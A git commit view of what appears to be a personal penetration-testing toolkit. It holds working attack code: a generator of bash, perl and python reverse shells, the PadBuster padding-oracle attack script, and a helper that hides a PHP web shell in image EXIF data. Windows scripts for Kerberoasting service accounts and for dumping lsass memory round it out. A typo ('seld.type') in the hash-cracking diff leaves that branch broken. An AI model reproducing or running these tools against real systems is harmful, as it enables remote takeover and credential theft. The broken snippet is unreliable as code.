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Windows Binaries + MSSQL hash type

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Roman committed 2020-11-07 12:54:18 +01:00
1 parent 2338077bd6
commit 95f3cad742
13 files changed
+389 -117
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crack_hash.py
+5 -1
View File
@@ -63,6 +63,7 @@ class HashType(enum.Enum):
# Windows
LM = 3000
NTLM = 1000
MSSQL = 1731
# Kerberos
KERBEROS_AS_REQ = 7500
@@ -163,6 +164,9 @@ class Hash:
self.type.append(HashType.RAW_SHA2_512)
self.type.append(HashType.RAW_SHA3_512)
self.type.append(HashType.RAW_KECCAK_256)
elif hash_len == 140:
if not self.isSalted:
seld.type.append(HashType.MSSQL)
if len(self.type) == 0:
print("%s: Unknown hash" % self.hash)
@@ -216,6 +220,6 @@ if len(uncracked_hashes) > 0:
fp.write(b"%s\n" % hash.hash.encode("UTF-8"))
fp.flush()
proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, wordlist, "--force"])
proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, wordlist])
proc.wait()
fp.close()
genRevShell.py
+2 -1
View File
@@ -10,7 +10,8 @@ def generatePayload(type, local_address, port):
if type == "bash":
return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port)
elif type == "perl":
return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" % (local_address, port)
return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'\n" \
"perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"%s:%d\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" % (local_address, port, local_address, port)
elif type == "python" or type == "python2" or type == "python3":
binary = type
return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port)
padBuster.pl
+112 -112
View File
@@ -6,9 +6,9 @@
# Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
# techniques and S.Vaudenay for initial discovery of the attack. Credits also
# to James M. Martin (research@esptl.com) for sharing proof of concept exploit
# code for performing various brute force attack techniques, and wireghoul (Eldar
# Marcussen) for making code quality improvements.
#
# code for performing various brute force attack techniques, and wireghoul (Eldar
# Marcussen) for making code quality improvements.
#
use LWP::UserAgent;
use strict;
@@ -69,15 +69,15 @@ GetOptions( "log" => \$logFiles,
"ignorecontent" => \$ignoreContent,
"usebody" => \$useBody,
"verbose" => \$verbose);
print "\n+-------------------------------------------+\n";
print "| PadBuster - v0.3.3 |\n";
print "| Brian Holyfield - Gotham Digital Science |\n";
print "| labs\@gdssecurity.com |\n";
print "+-------------------------------------------+\n";
if ($#ARGV < 2) {
die "
if ($#ARGV < 2) {
die "
Use: padBuster.pl URL EncryptedSample BlockSize [options]
Where: URL = The target URL (and query string if applicable)
@@ -86,8 +86,8 @@ if ($#ARGV < 2) {
BlockSize = The block size being used by the algorithm
Options:
-auth [username:password]: HTTP Basic Authentication
-bruteforce: Perform brute force against the first block
-auth [username:password]: HTTP Basic Authentication
-bruteforce: Perform brute force against the first block
-ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
-cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
-encoding [0-4]: Encoding Format of Sample (Default 0)
@@ -100,17 +100,17 @@ Options:
-intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
-log: Generate log files (creates folder PadBuster.DDMMYY)
-noencode: Do not URL-encode the payload (encoded by default)
-noiv: Sample does not include IV (decrypt first block)
-noiv: Sample does not include IV (decrypt first block)
-plaintext [String]: Plain-Text to Encrypt
-post [Post Data]: HTTP Post Data String
-prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
-prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
-proxy [address:port]: Use HTTP/S Proxy
-proxyauth [username:password]: Proxy Authentication
-resume [Block Number]: Resume at this block number
-usebody: Use response body content for response analysis phase
-verbose: Be Verbose
-veryverbose: Be Very Verbose (Debug Only)
";}
# Ok, if we've made it this far we are ready to begin..
@@ -143,11 +143,11 @@ my $dirExists = 0;
my $printStats = 0;
my $requestTracker = 0;
my $timeTracker = 0;
if ($encoding < 0 || $encoding > 4) {
print "\nERROR: Encoding must be a value between 0 and 4\n";
exit();
}
}
my $encodingFormat = $encoding ? $encoding : 0;
my $encryptedBytes = $sample;
@@ -210,7 +210,7 @@ if (!$bruteForce && !$plainTextInput && $blockCount < 2) {
my ($status, $content, $location, $contentLength) = &makeRequest($method, $url, $post, $cookie);
&myPrint("\nINFO: The original request returned the following",0);
&myPrint("[+] Status: $status",0);
&myPrint("[+] Status: $status",0);
&myPrint("[+] Location: $location",0);
&myPrint("[+] Content Length: $contentLength\n",0);
&myPrint("[+] Response: $content\n",1);
@@ -220,12 +220,12 @@ $plainTextInput = &myDecode($encodedPlainTextInput,$encodingFormat) if $encodedP
if ($bruteForce) {
&myPrint("INFO: Starting PadBuster Brute Force Mode",0);
my $bfAttempts = 0;
print "INFO: Resuming previous brute force at attempt $resumeBlock\n" if $resumeBlock;
# Only loop through the first 3 bytes...this should be enough as it
# Only loop through the first 3 bytes...this should be enough as it
# requires 16.5M+ requests
my @bfSamples;
my $sampleString = "\x00" x 2;
for my $c (0 ... 255) {
@@ -241,20 +241,20 @@ if ($bruteForce) {
while ($complete == 0) {
my $repeat = 0;
for my $b (0 ... 255) {
$bfAttempts++;
$bfAttempts++;
if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) {
#SKIP
} else {
my $testBytes = chr($b).$testVal;
$testBytes .= "\x00" x ($blockSize-3);
my $combinedBf = $testBytes;
my $combinedBf = $testBytes;
$combinedBf .= $encryptedBytes;
$combinedBf = &myEncode($combinedBf, $encoding);
# Add the Query String to the URL
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf);
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf);
# Issue the request
my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
@@ -283,64 +283,64 @@ if ($bruteForce) {
}
}
($repeat == 1) ? ($complete = 0) : ($complete = 1);
}
}
}
}
} elsif ($plainTextInput) {
# ENCRYPT MODE
&myPrint("INFO: Starting PadBuster Encrypt Mode",0);
# The block count will be the plaintext divided by blocksize (rounded up)
# The block count will be the plaintext divided by blocksize (rounded up)
my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99);
&myPrint("[+] Number of Blocks: ".$blockCount."\n",0);
my $padCount = ($blockSize * $blockCount) - length($plainTextInput);
my $padCount = ($blockSize * $blockCount) - length($plainTextInput);
$plainTextInput.= chr($padCount) x $padCount;
# SampleBytes is the encrypted text you want to derive intermediate values for, so
# SampleBytes is the encrypted text you want to derive intermediate values for, so
# copy the current ciphertext block into sampleBytes
# Note, nulls are used if not provided and the intermediate values are brute forced
$forgedBytes = $cipherInput ? &myDecode($cipherInput,1) : "\x00" x $blockSize;
my $sampleBytes = $forgedBytes;
for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) {
for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) {
# IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored
my $intermediaryBytes;
if ($intermediaryInput && $blockNum == $blockCount) {
$intermediaryBytes = &myDecode($intermediaryInput,2);
} else {
$intermediaryBytes = &processBlock($sampleBytes);
}
# Now XOR the intermediate bytes with the corresponding bytes from the plain-text block
# This will become the next ciphertext block (or IV if the last one)
$sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize);
$forgedBytes = $sampleBytes.$forgedBytes;
&myPrint("\nBlock ".($blockNum)." Results:",0);
&myPrint("[+] New Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
&myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1)."\n",0);
}
$forgedBytes = &myEncode($forgedBytes, $encoding);
chomp($forgedBytes);
} else {
# DECRYPT MODE
&myPrint("INFO: Starting PadBuster Decrypt Mode",0);
if ($resumeBlock) {
&myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0);
} else {
$resumeBlock = 1
}
# Assume that the IV is included in our sample and that the first block is the IV
for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) {
# Assume that the IV is included in our sample and that the first block is the IV
for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) {
# Since the IV is the first block, our block count is artificially inflated by one
&myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0);
# SampleBytes is the encrypted text you want to break, so
# SampleBytes is the encrypted text you want to break, so
# lets copy the current ciphertext block into sampleBytes
my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize);
@@ -348,7 +348,7 @@ if ($bruteForce) {
my $intermediaryBytes = &processBlock($sampleBytes);
# DecryptedBytes is where the decrypted block is stored
my $decryptedBytes;
my $decryptedBytes;
# Now we XOR the decrypted byte with the corresponding byte from the previous block
# (or IV if we are in the first block) to get the actual plain-text
@@ -362,23 +362,23 @@ if ($bruteForce) {
}
}
&myPrint("-------------------------------------------------------",0);
&myPrint("-------------------------------------------------------",0);
&myPrint("** Finished ***\n", 0);
if ($plainTextInput) {
&myPrint("[+] Encrypted value is: ".&uri_escape($forgedBytes),0);
} else {
} else {
&myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0);
&myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0);
&myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0);
}
&myPrint("-------------------------------------------------------\n",0);
&myPrint("-------------------------------------------------------\n",0);
sub determineSignature {
sub determineSignature {
# Help the user detect the oracle response if an error string was not provided
# This logic will automatically suggest the response pattern that occured most often
# This logic will automatically suggest the response pattern that occured most often
# during the test as this is the most likeley one
my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;
my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;
&myPrint("The following response signatures were returned:\n",0);
&myPrint("-------------------------------------------------------",0);
@@ -402,7 +402,7 @@ sub determineSignature {
&writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_});
$id++;
}
&myPrint("-------------------------------------------------------",0);
&myPrint("-------------------------------------------------------",0);
if ($#sortedGuesses == 0 && !$bruteForce) {
&myPrint("\nERROR: All of the responses were identical.\n",0);
@@ -418,16 +418,16 @@ sub determineSignature {
sub prepRequest {
my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_;
# Prepare the request
# Prepare the request
my $testUrl = $pUrl;
my $wasSampleFound = 0;
if ($pUrl =~ /$pSample/) {
$testUrl =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}
}
my $testPost = "";
my $testPost = "";
if ($pPost) {
$testPost = $pPost;
if ($pPost =~ /$pSample/) {
@@ -453,34 +453,34 @@ sub prepRequest {
}
sub processBlock {
my ($sampleBytes) = @_;
my ($sampleBytes) = @_;
my $analysisMode;
# Analysis mode is either 0 (response analysis) or 1 (exploit)
# Analysis mode is either 0 (response analysis) or 1 (exploit)
$analysisMode = (!$error && $oracleSignature eq "") ? 0 : 1;
# The return value of this subroutine is the intermediate text for the block
my $returnValue;
my $complete = 0;
my $autoRetry = 0;
my $hasHit = 0;
while ($complete == 0) {
# Reset the return value
$returnValue = "";
my $repeat = 0;
# TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack
my $testBytes = "\x00" x $blockSize;
my $falsePositiveDetector = 0;
# Work on one byte at a time, starting with the last byte and moving backwards
OUTERLOOP:
for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--) {
INNERLOOP:
for (my $i = 255; $i >= 0; $i--) {
for (my $i = 255; $i >= 0; $i--) {
# Fuzz the test byte
substr($testBytes, $byteNum, 1, chr($i));
@@ -488,14 +488,14 @@ sub processBlock {
my $combinedTestBytes = $testBytes.$sampleBytes;
if ($prefix) {
$combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes
$combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes
}
$combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat);
$combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat);
chomp($combinedTestBytes);
if (! $noEncodeOption) {
$combinedTestBytes = &uri_escape($combinedTestBytes);
$combinedTestBytes = &uri_escape($combinedTestBytes);
}
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedTestBytes);
@@ -504,18 +504,18 @@ sub processBlock {
my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
my $signatureData = "$status\t$contentLength\t$location";
$signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
# If this is the first block and there is no padding error message defined, then cycle through
# If this is the first block and there is no padding error message defined, then cycle through
# all possible requests and let the user decide what the padding error behavior is.
if ($analysisMode == 0) {
&myPrint("INFO: No error string was provided...starting response analysis\n",0) if ($i == 255);
$oracleGuesses{$signatureData}++;
$responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
if ($byteNum == $blockSize - 1 && $i == 0) {
&myPrint("*** Response Analysis Complete ***\n",0);
&determineSignature();
@@ -535,7 +535,7 @@ sub processBlock {
# If there was no padding error, then it worked
&myPrint("[+] Success: (".abs($i-256)."/256) [Byte ".($byteNum+1)."]",0);
&myPrint("[+] Test Byte:".&uri_escape(substr($testBytes, $byteNum, 1)),1);
# If continually getting a hit on attempt zero, then something is probably wrong
$falsePositiveDetector++ if ($i == 255);
@@ -560,20 +560,20 @@ sub processBlock {
$returnValue = $decryptedByte.$returnValue;
&myPrint("[+] Decrypted Byte is: ".&uri_escape($decryptedByte),1);
# Finally, update the test bytes in preparation for the next round, based on the padding used
# Finally, update the test bytes in preparation for the next round, based on the padding used
for (my $k = $byteNum; $k < $blockSize; $k++) {
# First, XOR the current test byte with the padding value for this round to recover the decrypted byte
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));
# Then, XOR it again with the padding byte for the next round
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte));
}
last INNERLOOP;
last INNERLOOP;
}
}
}
## TODO: Combine these two blocks?
if ($i == 0 && $analysisMode == 1) {
# End of the road with no success. We should probably try again.
@@ -584,12 +584,12 @@ sub processBlock {
&myPrint(" Automatically trying one more time...",0);
$repeat = 1;
last OUTERLOOP;
} else {
if (($byteNum == $blockSize - 1) && ($error)) {
&myPrint("\nAre you sure you specified the correct error string?",0);
&myPrint("Try re-running without the -e option to perform a response analysis.\n",0);
}
}
$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
if ($continue ne "n") {
@@ -597,9 +597,9 @@ sub processBlock {
$interactive = 1;
$repeat = 1;
last OUTERLOOP;
}
}
}
}
}
if ($falsePositiveDetector == $blockSize) {
&myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0);
&myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0);
@@ -618,7 +618,7 @@ sub processBlock {
last OUTERLOOP;
}
}
}
}
}
($repeat == 1) ? ($complete = 0) : ($complete = 1);
}
@@ -626,9 +626,9 @@ sub processBlock {
}
sub makeRequest {
my ($method, $url, $data, $cookie) = @_;
my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength);
my ($method, $url, $data, $cookie) = @_;
my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength);
my $numRetries = 0;
$data ='' unless $data;
$cookie='' unless $cookie;
@@ -637,23 +637,24 @@ sub makeRequest {
do {
#Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed)
$ENV{HTTPS_PROXY} = "";
$ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0;
$lwp = LWP::UserAgent->new(env_proxy => 1,
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
);
$req = new HTTP::Request $method => $url;
&myPrint("Request:\n$method\n$url\n$data\n$cookie",0) if $superVerbose;
# Add request content for POST and PUTS
# Add request content for POST and PUTS
if ($data) {
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
}
if ($proxy) {
my $proxyUrl = "http://";
if ($proxyAuth) {
@@ -665,7 +666,7 @@ sub makeRequest {
$proxyUrl .= $proxy;
$lwp->proxy(['http'], "http://".$proxy);
$ENV{HTTPS_PROXY} = "http://".$proxy;
}
}
if ($auth) {
@@ -677,7 +678,7 @@ sub makeRequest {
if (! $cookie eq "") {
$req->header(Cookie => $cookie);
}
if ($headers) {
my @customHeaders = split(/;/i,$headers);
for (my $i = 0; $i <= $#customHeaders; $i++) {
@@ -685,22 +686,22 @@ sub makeRequest {
$req->header($headerName, $headerVal);
}
}
my $startTime = &gettimeofday();
my $response = $lwp->request($req);
my $endTime = &gettimeofday();
my $endTime = &gettimeofday();
$timeTracker = $timeTracker + ($endTime - $startTime);
if ($printStats == 1 && $requestTracker % 250 == 0) {
print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n";
$timeTracker = 0;
}
# Extract the required attributes from the response
$status = substr($response->status_line, 0, 3);
$content = $response->content;
&myPrint("Response Content:\n$content",0) if $superVerbose;
$location = $response->header("Location");
if (!$location) {
@@ -708,8 +709,8 @@ sub makeRequest {
}
#$contentLength = $response->header("Content-Length");
$contentLength = length($content);
my $contentEncoding = $response->header("Content-Encoding");
if ($contentEncoding) {
if ($contentEncoding =~ /GZIP/i ) {
@@ -717,10 +718,10 @@ sub makeRequest {
$contentLength = length($content);
}
}
my $statusMsg = $response->status_line;
#myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1);
#myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1);
if ($statusMsg =~ /Can't connect/) {
print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n";
$noConnect = 1;
@@ -729,7 +730,7 @@ sub makeRequest {
} else {
$noConnect = 0;
$totalRequests++;
}
}
} until (($noConnect == 0) || ($numRetries >= 15));
if ($numRetries >= 15) {
&myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0);
@@ -737,7 +738,7 @@ sub makeRequest {
}
return ($status, $content, $location, $contentLength);
}
sub myPrint {
my ($printData, $printLevel) = @_;
$printData .= "\n";
@@ -783,24 +784,24 @@ sub encodeDecode {
$returnVal = &web64Decode($toEncodeDecode,1);
} else {
$returnVal = &web64Encode($toEncodeDecode,1);
}
}
} elsif ($format == 4) {
# Web64
if ($oper == 1) {
$returnVal = &web64Decode($toEncodeDecode,0);
} else {
$returnVal = &web64Encode($toEncodeDecode,0);
}
}
} else {
# B64
if ($oper == 1) {
$returnVal = &decode_base64($toEncodeDecode);
} else {
$returnVal = &encode_base64($toEncodeDecode);
$returnVal =~ s/(\r|\n)//g;
$returnVal =~ s/(\r|\n)//g;
}
}
return $returnVal;
}
@@ -836,7 +837,7 @@ sub promptUser {
my $defaultValue = $default ? "[$default]" : "";
print "$prompt $defaultValue: ";
chomp(my $input = <STDIN>);
$input = $input ? $input : $default;
if ($yn) {
if ($input =~ /^y|n|a$/) {
@@ -867,7 +868,7 @@ sub writeFile {
}
}
sub getTime {
sub getTime {
my ($format) = @_;
my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time);
my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC");
@@ -886,4 +887,3 @@ sub getTime {
return $hour.":".$minute.":".$second;
}
}
pspy
BIN
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Binary file not shown.
util.py
+11 -3
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@@ -118,20 +118,28 @@ def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_t
print("Invalid input. Either give an Image or a path to an image.")
return
valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values())
if exif_tag is None:
exif_tag = "image_description"
elif exif_tag == "all":
for exif_tag in valid_tags:
try:
_in[exif_tag] = payload
print("adding:", exif_tag)
except Exception as e:
pass
else:
valid_tags = dir(_in)
if exif_tag not in valid_tags:
print("Invalid exif-tag. Choose one of the following:")
print(", ".join(valid_tags))
return
_in[exif_tag] = payload
_in[exif_tag] = payload
if _out is None:
sys.stdout.write(_in.get_file())
sys.stdout.flush()
elif isinstance(_out, str):
with open(_out, "wb") as f:
f.write(_in.get_file())
win/GetUserSPNs.ps1
+129
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@@ -0,0 +1,129 @@
# Edits by Tim Medin
# File: GetUserSPNS.ps1
# Contents: Query the domain to find SPNs that use User accounts
# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
# The password hash used with Computer accounts are infeasible to
# crack; however, if the User account associated with an SPN may have
# a crackable password. This tool will find those accounts. You do not
# need any special local or domain permissions to run this script.
# This script on a script supplied by Microsoft (details below).
# History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames
# 2016/04/12 Tim Medin Added -Request option to automatically get the tickets
# 2014/11/12 Tim Medin Created
[CmdletBinding()]
Param(
[Parameter(Mandatory=$False,Position=1)] [string]$GCName,
[Parameter(Mandatory=$False)] [string]$Filter,
[Parameter(Mandatory=$False)] [switch]$Request,
[Parameter(Mandatory=$False)] [switch]$UniqueAccounts
)
Add-Type -AssemblyName System.IdentityModel
$GCs = @()
If ($GCName) {
$GCs += $GCName
} else { # find them
$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
ForEach ($GC in $CurrentGCs) {
#$GCs += $GC.Name
$GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
}
}
if (-not $GCs) {
# no Global Catalogs Found
Write-Host "No Global Catalogs Found!"
Exit
}
<#
Things you can extract
Name Value
---- -----
admincount {1}
samaccountname {sqlengine}
useraccountcontrol {66048}
primarygroupid {513}
userprincipalname {sqlengine@medin.local}
instancetype {4}
displayname {sqlengine}
pwdlastset {130410454241766739}
memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local}
samaccounttype {805306368}
serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
usnchanged {135252}
lastlogon {130563243107145358}
accountexpires {9223372036854775807}
logoncount {34}
adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local}
badpwdcount {0}
codepage {0}
name {sqlengine}
whenchanged {9/22/2014 6:45:21 AM}
badpasswordtime {0}
dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
lastlogontimestamp {130558419213902030}
lastlogoff {0}
objectclass {top, person, organizationalPerson, user}
countrycode {0}
cn {sqlengine}
whencreated {4/4/2014 12:37:04 AM}
objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
usncreated {57551}
#>
ForEach ($GC in $GCs) {
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = "LDAP://" + $GC
$searcher.PageSize = 1000
$searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
$searcher.PropertiesToLoad.Add("name") | Out-Null
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
#$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
#$searcher.PropertiesToLoad.Add("displayname") | Out-Null
$searcher.PropertiesToLoad.Add("memberof") | Out-Null
$searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
#$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
$searcher.SearchScope = "Subtree"
$results = $searcher.FindAll()
[System.Collections.ArrayList]$accounts = @()
foreach ($result in $results) {
foreach ($spn in $result.Properties["serviceprincipalname"]) {
$o = Select-Object -InputObject $result -Property `
@{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
@{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, `
#@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
@{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, `
#@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, `
@{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, `
@{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
#@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} }
if ($UniqueAccounts) {
if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
$accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
} else {
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
}
}
}
win/Out-Minidump.ps1
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function Out-Minidump
{
<#
.SYNOPSIS
Generates a full-memory minidump of a process.
PowerSploit Function: Out-Minidump
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Out-Minidump writes a process dump file with all process memory to disk.
This is similar to running procdump.exe with the '-ma' switch.
.PARAMETER Process
Specifies the process for which a dump will be generated. The process object
is obtained with Get-Process.
.PARAMETER DumpFilePath
Specifies the path where dump files will be written. By default, dump files
are written to the current working directory. Dump file names take following
form: processname_id.dmp
.EXAMPLE
Out-Minidump -Process (Get-Process -Id 4293)
Description
-----------
Generate a minidump for process ID 4293.
.EXAMPLE
Get-Process lsass | Out-Minidump
Description
-----------
Generate a minidump for the lsass process. Note: To dump lsass, you must be
running from an elevated prompt.
.EXAMPLE
Get-Process | Out-Minidump -DumpFilePath C:\temp
Description
-----------
Generate a minidump of all running processes and save them to C:\temp.
.INPUTS
System.Diagnostics.Process
You can pipe a process object to Out-Minidump.
.OUTPUTS
System.IO.FileInfo
.LINK
http://www.exploit-monday.com/
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
[System.Diagnostics.Process]
$Process,
[Parameter(Position = 1)]
[ValidateScript({ Test-Path $_ })]
[String]
$DumpFilePath = $PWD
)
BEGIN
{
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
$MiniDumpWithFullMemory = [UInt32] 2
}
PROCESS
{
$ProcessId = $Process.Id
$ProcessName = $Process.Name
$ProcessHandle = $Process.Handle
$ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
$ProcessId,
$FileStream.SafeFileHandle,
$MiniDumpWithFullMemory,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero))
$FileStream.Close()
if (-not $Result)
{
$Exception = New-Object ComponentModel.Win32Exception
$ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
# Remove any partially written dump files. For example, a partial dump will be written
# in the case when 32-bit PowerShell tries to dump a 64-bit process.
Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
throw $ExceptionMessage
}
else
{
Get-ChildItem $ProcessDumpPath
}
}
END {}
}
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